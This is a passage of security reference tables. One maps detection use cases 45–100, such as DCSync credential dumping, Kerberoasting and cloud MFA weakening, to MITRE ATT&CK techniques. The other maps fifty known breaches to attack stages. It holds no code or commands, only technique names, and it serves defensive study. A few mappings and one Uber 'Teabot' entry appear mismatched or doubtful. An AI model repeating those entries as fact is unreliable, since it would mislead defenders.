45	Unauthorized IAM Policy Changes	Privilege Escalation	Account Manipulation	T1098
46	Cloud Access Key Misuse	Credential Access	Steal Application Access Token	T1528
47	Suspicious Admin Activity Outside Business Hours	Defense Evasion	Valid Accounts	T1078
48	Data Access Outside Normal Role	Collection	Data from Information Repositories	T1213
49	Suspicious File Download from Internal Systems	Collection	Data from Local System	T1005
50	Insider Privilege Abuse	Privilege Escalation	Abuse Elevation Control Mechanism	T1548
51	Suspicious Account Creation	Persistence	Create Account	T1136
52	Unauthorized Local Admin Account Added	Privilege Escalation	Account Manipulation	T1098
53	Domain Trust Enumeration	Discovery	Domain Trust Discovery	T1482
54	Active Directory Enumeration	Discovery	Permission Groups Discovery	T1069
55	Credential Dumping via DCSync	Credential Access	OS Credential Dumping (DCSync)	T1003.006
56	Kerberoasting Activity	Credential Access	Steal or Forge Kerberos Tickets	T1558.003

57	NTLM Relay / Pass-the-Hash	Lateral Movement	Pass the Hash	T1550.002
58	Remote Command Execution via WMI	Lateral Movement	Windows Management Instrumentation	T1047
59	SMB Admin Share Abuse	Lateral Movement	Remote Services (SMB/Windows Admin Shares)	T1021.002
60	Internal Web Application Enumeration	Discovery	Network Service Discovery	T1046
61	Security Log Tampering / Deletion	Defense Evasion	Indicator Removal on Host	T1070
62	Time Stomping (File Timestamp Manipulation)	Defense Evasion	Time Stomp	T1070.006
63	EDR / AV Disable Attempt	Defense Evasion	Impair Defenses	T1562
64	Process Injection Detected	Defense Evasion	Process Injection	T1055
65	Unsigned / Untrusted Driver Loaded	Defense Evasion	Signed Binary Proxy Execution	T1218
66	Suspicious DLL Search Order Hijacking	Persistence	Hijack Execution Flow (DLL Search Order)	T1574.001
67	Hidden Scheduled Task Creation	Persistence	Scheduled Task / Job	T1053
68	Registry Permissions Modified for Evasion	Defense Evasion	Modify Registry	T1112
69	Obfuscated / Encoded Command Execution	Defense Evasion	Obfuscated Files or Information	T1027
70	Suspicious Use of Living-Off-The-Land Tools	Defense Evasion	Living Off the Land Binaries and Scripts	T1218
71	Cloud Console Login from New ASN	Initial Access	Valid Accounts	T1078

72	Cloud MFA Disabled or Weakened	Defense Evasion	Modify Authentication Process	T1556
73	Excessive Failed API Auth Attempts	Credential Access	Brute Force	T1110
74	Abuse of Cloud Service Roles	Privilege Escalation	Abuse Elevation Control Mechanism	T1548
75	Creation of Rogue OAuth / API Token	Persistence	Account Manipulation	T1098
76	Serverless Function Used for Data Exfiltration	Exfiltration	Exfiltration Over Web Service	T1567
77	SaaS Mailbox Full Export	Collection	Email Collection	T1114
78	Cloud Resource Deletion Spike	Impact	Data Destruction	T1485
79	Direct-to-Origin Access Bypassing CDN/WAF	Defense Evasion	Bypass Network Security	T1599
80	Cross-Tenant / Cross-Account Access Abuse	Lateral Movement	Remote Services	T1021
81	AI-Generated Phishing / Deepfake Email	Initial Access	Phishing	T1566
82	Deepfake Voice Call (Vishing) for MFA / Approval	Credential Access	Phishing for Information (Voice)	T1598.004
83	Identity Impersonation via Email Display Name	Defense Evasion	Masquerading	T1036
84	Synthetic Identity Account Usage	Initial Access	Valid Accounts	T1078
85	Abnormal User Behaviour (UEBA Anomaly)	Defense Evasion	Valid Accounts	T1078
86	Password Reset Abuse	Credential Access	Account Manipulation	T1098
87	Excessive Failed Password Reset Requests	Credential Access	Brute Force	T1110

88	Abuse of Delegated Admin Rights	Privilege Escalation	Account Manipulation	T1098
89	Dormant Account Reactivation	Persistence	Valid Accounts	T1078
90	Privileged Session from Non-Corporate Device	Initial Access	Valid Accounts	T1078
91	Weak / Deprecated Crypto Protocol Usage (TLS/SSL)	Defense Evasion	Weaken Encryption	T1600
92	Long-Lived Certificate / Key Abuse	Persistence	Modify Authentication Process	T1556
93	Harvest-Now-Decrypt-Later Data Collection	Collection	Data from Information Repositories	T1213
94	Unauthorized Encryption Key Export (HSM/KMS)	Credential Access	Steal Cryptographic Keys	T1552.004
95	Abnormal Certificate Issuance Activity	Persistence	Subvert Trust Controls	T1553
96	Suspicious Use of Legacy Auth (NTLMv1 / Basic Auth)	Credential Access	Brute Force	T1110
97	Encrypted Channel Used to Bypass Inspection	Defense Evasion	Encrypted Channel	T1573
98	Crypto-Mining Wallet Address Detected	Impact	Resource Hijacking	T1496
99	Unauthorized Secrets Access (Vault / Secrets Manager)	Credential Access	Unsecured Credentials	T1552
100	Algorithm Downgrade / Crypto Agility Abuse	Defense Evasion	Weaken Encryption	T1600

Notable Cyber Incidents Mapped to MITRE ATT&CK

#	Incident	Organisation / Target	Attacker End Goal	MITRE ATT&CK Stages Observed
1	Colonial Pipeline Ransomware (2021)	Colonial Pipeline	Ransom payment	Initial Access → Credential Access → Lateral Movement → Impact
2	SolarWinds Supply Chain Attack (2020)	SolarWinds	Espionage	Initial Access → Persistence → Defense Evasion → Collection → Exfiltration
3	MOVEit Transfer Mass Breach (2023)	Progress Software	Data theft & extortion	Reconnaissance → Initial Access → Collection → Exfiltration → Impact
4	Target POS Breach (2013)	Target	Credit card theft	Initial Access → Lateral Movement → Collection → Exfiltration
5	Equifax Breach (2017)	Equifax	Mass data theft	Reconnaissance → Initial Access → Persistence → Collection → Exfiltration
6	Microsoft Exchange ProxyLogon (2021)	Microsoft	Persistent server access	Initial Access → Execution → Persistence → Lateral Movement
7	Uber Breach (2022)	Uber	Privileged access abuse	Credential Access → Initial Access → Privilege Escalation → Impact
8	Okta Support System Breach (2023)	Okta	Identity compromise	Credential Access → Initial Access → Collection → Impact
9	NotPetya Destructive Attack (2017)	Maersk	Destruction	Initial Access → Lateral Movement → Impact
10	Twitter (X) Insider Social Engineering (2020)	Twitter	Account takeover	Reconnaissance → Credential Access → Initial Access → Impact
11	Capital One Cloud Breach (2019)	Capital One	Data theft	Initial Access → Privilege Escalation → Collection → Exfiltration
12	Kaseya VSA Ransomware (2021)	Kaseya	Mass ransomware	Initial Access → Execution → Lateral Movement → Impact

13	Lapsus\$ NVIDIA Breach (2022)	NVIDIA	Data extortion	Credential Access → Initial Access → Collection → Exfiltration → Impact
14	LastPass Breach (2022)	LastPass	Vault data theft	Initial Access → Persistence → Collection → Exfiltration
15	Samsung Source Code Leak (2022)	Samsung	IP theft	Credential Access → Initial Access → Collection → Exfiltration
16	Marriott Starwood Breach (2018)	Marriott International	Long-term espionage	Initial Access → Persistence → Collection → Exfiltration
17	Sony Pictures Hack (2014)	Sony Pictures	Destruction & data leak	Initial Access → Lateral Movement → Defense Evasion → Impact
18	Dropbox Credential Stuffing (2012)	Dropbox	Account access	Credential Access → Initial Access → Impact
19	Cisco VPN Breach (2022)	Cisco	Corporate access	Credential Access → Initial Access → Persistence
20	T-Mobile API Breach (2023)	T-Mobile	Customer data theft	Reconnaissance → Initial Access → Collection → Exfiltration
21	Yahoo Mega Breach (2013–2014)	Yahoo	Mass identity theft	Initial Access → Persistence → Collection → Exfiltration
22	Adobe Source Code Breach (2013)	Adobe	IP & credential theft	Initial Access → Credential Access → Collection → Exfiltration
23	Bangladesh Bank SWIFT Heist (2016)	Bangladesh Bank	Financial theft	Initial Access → Execution → Defense Evasion → Impact
24	WannaCry Ransomware (2017)	NHS	Disruption & ransom	Initial Access → Lateral Movement → Impact
25	Home Depot POS Breach (2014)	Home Depot	Credit card theft	Initial Access → Lateral Movement → Collection → Exfiltration
26	LinkedIn Data Scraping Incident (2021)	LinkedIn	Data harvesting	Reconnaissance → Collection → Exfiltration
27	Facebook OAuth Token Abuse (2018)	Facebook	Account takeover	Initial Access → Credential Access → Impact

28	British Airways Magecart Attack (2018)	British Airways	Payment card theft	Initial Access → Execution → Collection → Exfiltration
29	Zoom Credential Stuffing (2020)	Zoom	Account resale	Credential Access → Initial Access → Impact
30	Cloudflare Internal Tool Breach (2023)	Cloudflare	Internal access	Credential Access → Initial Access → Collection
31	JPMorgan Chase Breach (2014)	JPMorgan Chase	Customer data theft	Initial Access → Privilege Escalation → Collection → Exfiltration
32	eBay Account Breach (2014)	eBay	Account & PII theft	Credential Access → Initial Access → Collection
33	RSA SecurID Breach (2011)	RSA Security	Token seed theft	Initial Access → Execution → Collection → Exfiltration
34	Anthem Health Breach (2015)	Anthem	Healthcare data theft	Credential Access → Initial Access → Persistence → Collection → Exfiltration
35	Caesars Entertainment Cyber Attack (2023)	Caesars Entertainment	Data extortion	Credential Access → Initial Access → Collection → Impact
36	MGM Resorts Cyber Attack (2023)	MGM Resorts	Operational disruption & extortion	Credential Access → Initial Access → Lateral Movement → Impact
37	Codecov Bash Uploader Compromise (2021)	Codecov	Supply-chain espionage	Initial Access → Persistence → Collection → Exfiltration
38	Uber Data Exposure (2016)	Uber	Data theft	Credential Access → Initial Access → Collection → Exfiltration
39	Accellion FTA Breach (2020)	Accellion	Mass data theft	Reconnaissance → Initial Access → Persistence → Collection → Exfiltration
40	Uber (Teabot / MFA Fatigue Variant, 2023)	Uber	Identity & session abuse	Credential Access → Initial Access → Defense Evasion → Impact
41	Okta Customer Support Breach (2022)	Okta	Identity access	Credential Access → Initial Access → Collection

42	Microsoft Midnight Blizzard Email Breach (2024)	Microsoft	Espionage	Credential Access → Initial Access → Collection → Exfiltration
43	Change Healthcare Ransomware (2024)	Change Healthcare	Ransom & disruption	Credential Access → Initial Access → Lateral Movement → Impact
44	XZ Utils Backdoor Attempt (2024)	XZ Utils	Supply-chain backdoor	Persistence → Defense Evasion → Impact (attempted)
45	Discord Malware CDN Abuse (2023)	Discord	Malware delivery	Initial Access → Execution → Command and Control
46	PayPal Credential Stuffing Campaigns (2022–2023)	PayPal	Account takeover	Credential Access → Initial Access → Impact
47	Toyota Source Code Exposure (2023)	Toyota	IP exposure	Credential Access → Initial Access → Collection
48	Riot Games Social Engineering Breach (2023)	Riot Games	Source code theft	Credential Access → Initial Access → Collection → Exfiltration
49	23andMe Credential Stuffing Breach (2023)	23andMe	Sensitive data theft	Credential Access → Initial Access → Collection → Exfiltration
50	MOVEit Follow-On Extortion Campaigns (2024)	MOVEit Transfer	Secondary extortion	Initial Access → Collection → Exfiltration → Impact